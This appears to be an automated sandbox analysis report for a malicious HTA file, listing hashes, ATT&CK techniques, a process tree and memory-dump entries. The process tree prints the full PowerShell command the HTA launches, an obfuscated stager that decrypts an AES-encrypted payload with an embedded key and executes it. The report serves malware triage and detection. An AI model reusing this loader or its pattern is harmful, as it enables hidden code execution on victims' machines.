aaa862c14154374b00e16f2440dabfcb9c8b7ca6655942530c83a6c96c065438

General

Target

smart1.hta
Size

162KB
MD5

e779ad7fcdc079af0012414407e2e892
SHA1

752c018c3be78f9fb25587d6452f2f6b0d9cd3a2
SHA256

aaa862c14154374b00e16f2440dabfcb9c8b7ca6655942530c83a6c96c065438
SHA512

ad8813afdacfc7d0b462aa011523861d393dd752af580358b81cafe408cc89ad9e0a64cbf886c61757cfb30a3cec8b3cc1ce3bdf4372d24a5d1c04a80b4f3db0
SSDEEP

3072:088nbom5xIAb88nbom5xIAY88nbom5xIAo88nbom5xIA:ByxH6yxHNyxHdyxH

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	2452	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2452	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1580	2452	WerFault.exe	82

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2452	powershell.exe
2452	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2452	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5096 wrote to memory of 2452	5096	mshta.exe	82
PID 5096 wrote to memory of 2452	5096	mshta.exe	82
PID 5096 wrote to memory of 2452	5096	mshta.exe	82

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\smart1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5096
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function fUUeIY($lrWzRn){return -split ($lrWzRn -replace '..', '0x$& ')};$FGCBsqZ = fUUeIY('08FD478788FD182E0D6A1297D93DACE694080CD7F35ADBE558CD7FBB26FB97CEF183BDC57B0782D2B310E50E9538F222218DAF2B5F0E61D9ADB34F76264C3C66C4FEABD1821E62EAD18B77FD172B17ECBAD2DDC3ECAB5642717B8F464BA00D90A0784154C8629D02179DA9B180F3781539C31AB37867F1C66AABA360A06DF2C2B35354B861395E34DF7A54434AB6F1524289CE6BA2AEE554C7D088A2BD34C7CFE4BE71DB90304E0DDBEC5C891AB135328DB0B3445C7A274667ECEA7166CE851718F520C05B8F68C1973471420FA9A9B02DE9BCD937464936741A859E9F88712A86E973BE67B43C7654010A114284698E85675BF3F408CBC0ADC0A5804E4D9A917FDA8D126DD6FDDEF79FF312B55099E3677E88C5CC51754000AABAD387DD7BD65CC78F68BE3FBA4D94E8CE87B0F790DDCA87540ACBF8166F48AD0086D2EDA5394E16C4A7679B8CEEB745A8C545CD148C06CC2C5A09AA9CC6469AD640061435C77E45E0CE3B1DDB0936FEF91858B2A3D608429A7F39D986595A35E9ECE74FE663C8E7D857E779004FA5AB393A609D450C4DF7EA77F0BBC2E548E712D804A47EFAEE269EEAF19FF4BA7A2E7BEE957A26AAB13695F858DD6BB5A340C2CEFB1E35B422EA6F57F5C88F3D3FC1486F497C0E8C1A4DF8E465319931B8161DCABC3EE9797EECF86AADB519097F90903A13EF068A5E603B5A861CD9886FCD92AFA622F92DB0E4F14E46DF13EC8D95C63E19E74F71924D72EAA971F41A9A6399D9EF65DE7DD16CBA871A8F1F1D8822ED8040E78E16C3E5232C80C361E4F41C46E87E061AE2BF0139E3C39FB1022398C54980F5D6ADFCAF3D17CADE553BEAA76A8D18E05AD505982913891A83B8934C2EBBD75BA6A408AAB72216AC0E735D644CF2D5F67605A0FC8929AD569B79002EEAA21701B0321230F0A0809C7FB51A46BD1ABECD92825349CC02861904FAFDE7A83C29598432DECA7C4A40B6A764E58FF811E0554E57AE64F8025CBA4286E1BCB741FCB1971DF9A16072E161CBD9150C18675D2A10794DE1DD2DB8903E9E8CE2342DB0D6ECB9A5B7743167B1B954CFCF564C2792DEE76CF4D4616D8CA8AB5A57307E79B95766E8AFB66600EB27BD6C56920B5852D4317EEA2025ABC60AF46FE117F3A988FF3C73DAF3C2D13FCAFA3A97F5A276CB11B4E57106A500F47040089F99C31749EB15778D452D80F7A3D0BE5087A618E411E97063841B046BB11F7E623056420EF838F4880A89743A375971C214C0260377A92D85E3ADD8BFE2991F6CA44F54949400C8248872973E9AE771937ABBE320166A0BE7E30620D088BB8192C40CBA2E457F577096559BF141CCBD3AA25E5ADA6F45958D2BCD6C0B047545BAA0D53B5A8608F585966668F7BCDB926421F8AA38184E2BE41C0CEE2A7C183C71D5E0091773A1337D292B3BC1B32C766CED4D9896DA0ECFBCD8E2FE21388F06CBACB282FABCE4DDBA921FE5529F378977716CF8B7164B116B2176C01C9A5340F8303C8D471A97627068C8D3FF3446062A857A52C429A4423E2E56C97ADB7CA3D773600AB1251901248A570FE9F556B6E775248C3FDAF052643CB9F16F1B7153ED12FAF60D9976');$mmXhH = [System.Security.Cryptography.Aes]::Create();$mmXhH.Key = fUUeIY('596C6F47555751725873557067474F55');$mmXhH.IV = New-Object byte[] 16;$jttVgzHn = $mmXhH.CreateDecryptor();$enAWQWiVe = $jttVgzHn.TransformFinalBlock($FGCBsqZ, 0, $FGCBsqZ.Length);$BMbsFEMTg = [System.Text.Encoding]::Utf8.GetString($enAWQWiVe);$jttVgzHn.Dispose();& $BMbsFEMTg.Substring(0,3) $BMbsFEMTg.Substring(3)
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2452
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2452 -s 2952
    3⤵
    - Program crash
    PID:1580

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 2452 -ip 2452
1⤵
PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vcqqupey.xaq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2452-19-0x0000000007230000-0x00000000078AA000-memory.dmp

Filesize
6.5MB

Download
memory/2452-27-0x000000000EEA0000-0x000000000EED4000-memory.dmp

Filesize
208KB

Download
memory/2452-2-0x00000000712A0000-0x0000000071A51000-memory.dmp

Filesize
7.7MB

Download
memory/2452-4-0x0000000004C30000-0x0000000004C52000-memory.dmp

Filesize
136KB

Download
memory/2452-5-0x00000000712A0000-0x0000000071A51000-memory.dmp

Filesize
7.7MB

Download
memory/2452-7-0x00000000055A0000-0x0000000005606000-memory.dmp

Filesize
408KB

Download
memory/2452-6-0x0000000005530000-0x0000000005596000-memory.dmp

Filesize
408KB

Download
memory/2452-1-0x0000000002620000-0x0000000002656000-memory.dmp

Filesize
216KB

Download
memory/2452-16-0x0000000005610000-0x0000000005967000-memory.dmp

Filesize
3.3MB

Download
memory/2452-17-0x0000000005AD0000-0x0000000005AEE000-memory.dmp

Filesize
120KB

Download
memory/2452-18-0x0000000005B10000-0x0000000005B5C000-memory.dmp

Filesize
304KB

Download
memory/2452-0-0x00000000712AE000-0x00000000712AF000-memory.dmp

Filesize
4KB

Download
memory/2452-3-0x0000000004D90000-0x00000000053BA000-memory.dmp

Filesize
6.2MB

Download
memory/2452-20-0x0000000006030000-0x000000000604A000-memory.dmp

Filesize
104KB

Download
memory/2452-28-0x000000006DCE0000-0x000000006DD2C000-memory.dmp

Filesize
304KB

Download
memory/2452-23-0x00000000078B0000-0x0000000007E56000-memory.dmp

Filesize
5.6MB

Download
memory/2452-25-0x00000000712AE000-0x00000000712AF000-memory.dmp

Filesize
4KB

Download
memory/2452-26-0x00000000712A0000-0x0000000071A51000-memory.dmp

Filesize
7.7MB

Download
memory/2452-22-0x0000000006AB0000-0x0000000006AD2000-memory.dmp

Filesize
136KB

Download
memory/2452-30-0x000000006DE40000-0x000000006E197000-memory.dmp

Filesize
3.3MB

Download
memory/2452-29-0x00000000712A0000-0x0000000071A51000-memory.dmp

Filesize
7.7MB

Download
memory/2452-39-0x000000000EE80000-0x000000000EE9E000-memory.dmp

Filesize
120KB

Download
memory/2452-21-0x0000000006BB0000-0x0000000006C46000-memory.dmp

Filesize
600KB

Download
memory/2452-40-0x000000000EEE0000-0x000000000EF84000-memory.dmp

Filesize
656KB

Download
memory/2452-41-0x000000000F0E0000-0x000000000F0EA000-memory.dmp

Filesize
40KB

Download
memory/2452-42-0x00000000712A0000-0x0000000071A51000-memory.dmp

Filesize
7.7MB

Download

Analysis

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